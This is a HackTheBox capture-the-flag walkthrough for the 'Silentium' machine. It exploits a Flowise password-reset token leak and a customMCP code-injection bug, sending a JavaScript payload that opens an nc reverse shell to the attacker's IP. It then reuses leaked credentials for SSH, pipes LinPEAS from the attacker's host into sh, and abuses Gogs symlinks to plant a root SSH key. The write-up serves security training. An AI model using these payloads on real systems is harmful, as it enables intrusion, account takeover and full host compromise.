HackTheBox - Silentium

Updated 12-04-2026

A Linux machine hiding multiple internal web services — chaining two vulnerabilities in an AI workflow platform breaks out of a Docker container, and a symlink attack against a self-hosted Git service delivers root.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ip=10.129.26.108; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-11 15:32 -0400
Nmap scan report for 10.129.26.108
Host is up (0.12s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.17 seconds

Two ports open: 22/tcp (SSH) and 80/tcp (nginx redirecting to silentium.htb).

Foothold

Hosts File

1
$ echo '10.129.26.108 silentium.htb' | sudo tee -a /etc/hosts

The main site is a static landing page with no interactive functionality.

Subdomain Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ gobuster vhost -u http://silentium.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -t 100
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://silentium.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
staging.silentium.htb Status: 200 [Size: 3142]
1
$ echo '10.129.26.108 staging.silentium.htb' | sudo tee -a /etc/hosts

staging.silentium.htb runs a Flowise application — an AI workflow platform.

CVE-2025-58434 — Flowise Password Reset Token Disclosure

The Flowise /api/v1/account/forgot-password endpoint returns a valid tempToken directly in the response body without requiring email verification. To exploit this we first need a valid registered email.

The landing page’s leadership section lists employee names. Testing ben@silentium.htb on the login form returns Incorrect Email or Password rather than User Not Found, confirming the account exists.

Send a password reset request and capture the tempToken from the response:

1
2
3
4
5
$ curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'

{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG","tempToken":"R1uT3ArMd49lwNl031qvVFf5yaRXWSenGqnHxXPNVlihjJMMRmjFNjIaI71hEsDZ","tokenExpiry":"2026-04-11T20:05:34.839Z","status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-04-11T19:50:34.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}

Use the token to reset the password:

1
2
3
4
5
$ curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb","tempToken":"R1uT3ArMd49lwNl031qvVFf5yaRXWSenGqnHxXPNVlihjJMMRmjFNjIaI71hEsDZ","password":"Password123"}}'

{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$TSHEsOZhZdOdF1JU1cyCne/Mnc2aijy5eKrhqsGRpWTSEHTDBSDxW","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-04-11T19:53:01.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}

Log in to the Flowise dashboard as ben@silentium.htb:Password123.

CVE-2025-59528 — Flowise customMCP RCE

CVE-2025-59528 is an RCE vulnerability in Flowise’s customMCP node. The /api/v1/node-load-method/customMCP endpoint processes JavaScript passed in mcpServerConfig without any sanitisation, executing it directly in the Node.js process.

Create an API key from the dashboard, then start a listener and send the payload:

1
$ nc -lnvp 4444 
1
2
3
4
5
6
7
8
9
$ curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.27 4444 >/tmp/f\");return 1;})()})"
}
}'

A shell connects. We land inside a Docker container. Inspecting environment variables reveals credentials stored in plaintext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/ # env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=4
PORT=3000
HOME=/root
OLDPWD=/home
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test

SSH Access via Password Reuse

The SMTP_PASSWORD value r04D!!_R4ge is reused as ben‘s SSH password on the host:

1
$ ssh ben@silentium.htb 

Privilege Escalation

Discovering a Gogs Instance

ben has no sudo privileges. Run LinPEAS for automated enumeration:

1
$ python -m http.server 80
1
ben@silentium:~$ curl http://10.10.16.27/linpeas.sh | sh

LinPEAS reveals an nginx vhost proxying a service on port 3001:

1
2
3
4
5
6
7
8
9
10
11
server {
listen 80;
server_name staging-v2-code.dev.silentium.htb;
location / {
proxy_pass http://127.0.0.1:3001;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}

Add the subdomain to hosts file

1
$ echo '10.129.26.108 staging-v2-code.dev.silentium.htb' | sudo tee -a /etc/hosts

The subdomain hosts Gogs — a self-hosted Git service.

Process enumeration confirms the binary location:

1
2
3
ben@silentium:~$ ps -p 1522 -o pid,ppid,cmd,cwd
PID PPID CMD CWD
1522 1 /opt/gogs/gogs/gogs web -
1
2
ben@silentium:~$ /opt/gogs/gogs/gogs --version
Gogs version 0.13.3

Gogs 0.13.3 is vulnerable to CVE-2025-8110 — the PutContents API follows symbolic links when writing file content to a repository. By committing a symlink pointing to a sensitive file and then using the API to write content to that symlink path, we can overwrite arbitrary files on the host as the gogs process owner (root).

The plan is to write our SSH public key to /root/.ssh/authorized_keys via a symlink in a Gogs repository.

Register an account, create a repository named pwn, and generate an API token from Settings > Applications:

1
b809da1aec8e12d9060ff2a428f18cc2a62bc2f1

Configure git and clone the repo:

1
2
3
4
$ git config --global user.email "keep@alive.sh"
$ git config --global user.name "keepalive"
$ git clone http://staging-v2-code.dev.silentium.htb/test/pwn.git
$ cd pwn

Create a symlink pointing to root’s authorized_keys and push it:

1
2
3
4
$ ln -s /root/.ssh/authorized_keys symlink_to_authorized_keys
$ git add symlink_to_authorized_keys
$ git commit -m "Add symlink"
$ git push

Convert the SSH public key to base64:

1
2
$ cat id_ed25519.pub       
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMt95oNzLkPBfpNs/TmB4/R1802igE65WOgsnFIg2/bE your_email@example.com
1
2
$ echo -n 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMt95oNzLkPBfpNs/TmB4/R1802igE65WOgsnFIg2/bE your_email@example.com' | base64 -w 0
c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSU10OTVvTnpMa1BCZnBOcy9UbUI0L1IxODAyaWdFNjVXT2dzbkZJZzIvYkUgeW91cl9lbWFpbEBleGFtcGxlLmNvbQ==

Use the API to write the public key content through the symlink. Gogs follows the symlink and writes directly to /root/.ssh/authorized_keys:

1
2
3
4
5
6
7
8
$ curl -X PUT "http://staging-v2-code.dev.silentium.htb/api/v1/repos/test/pwn/contents/symlink_to_authorized_keys" \
-H "Authorization: token b809da1aec8e12d9060ff2a428f18cc2a62bc2f1" \
-H "Content-Type: application/json" \
-d '{
"content": "c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSU10OTVvTnpMa1BCZnBOcy9UbUI0L1IxODAyaWdFNjVXT2dzbkZJZzIvYkUgeW91cl9lbWFpbEBleGFtcGxlLmNvbQ==",
"branch": "master",
"message": "Inject public key"
}'

Login to root using our SSH key

1
2
$ ssh -i id_ed25519 root@silentium.htb 
root@silentium:~#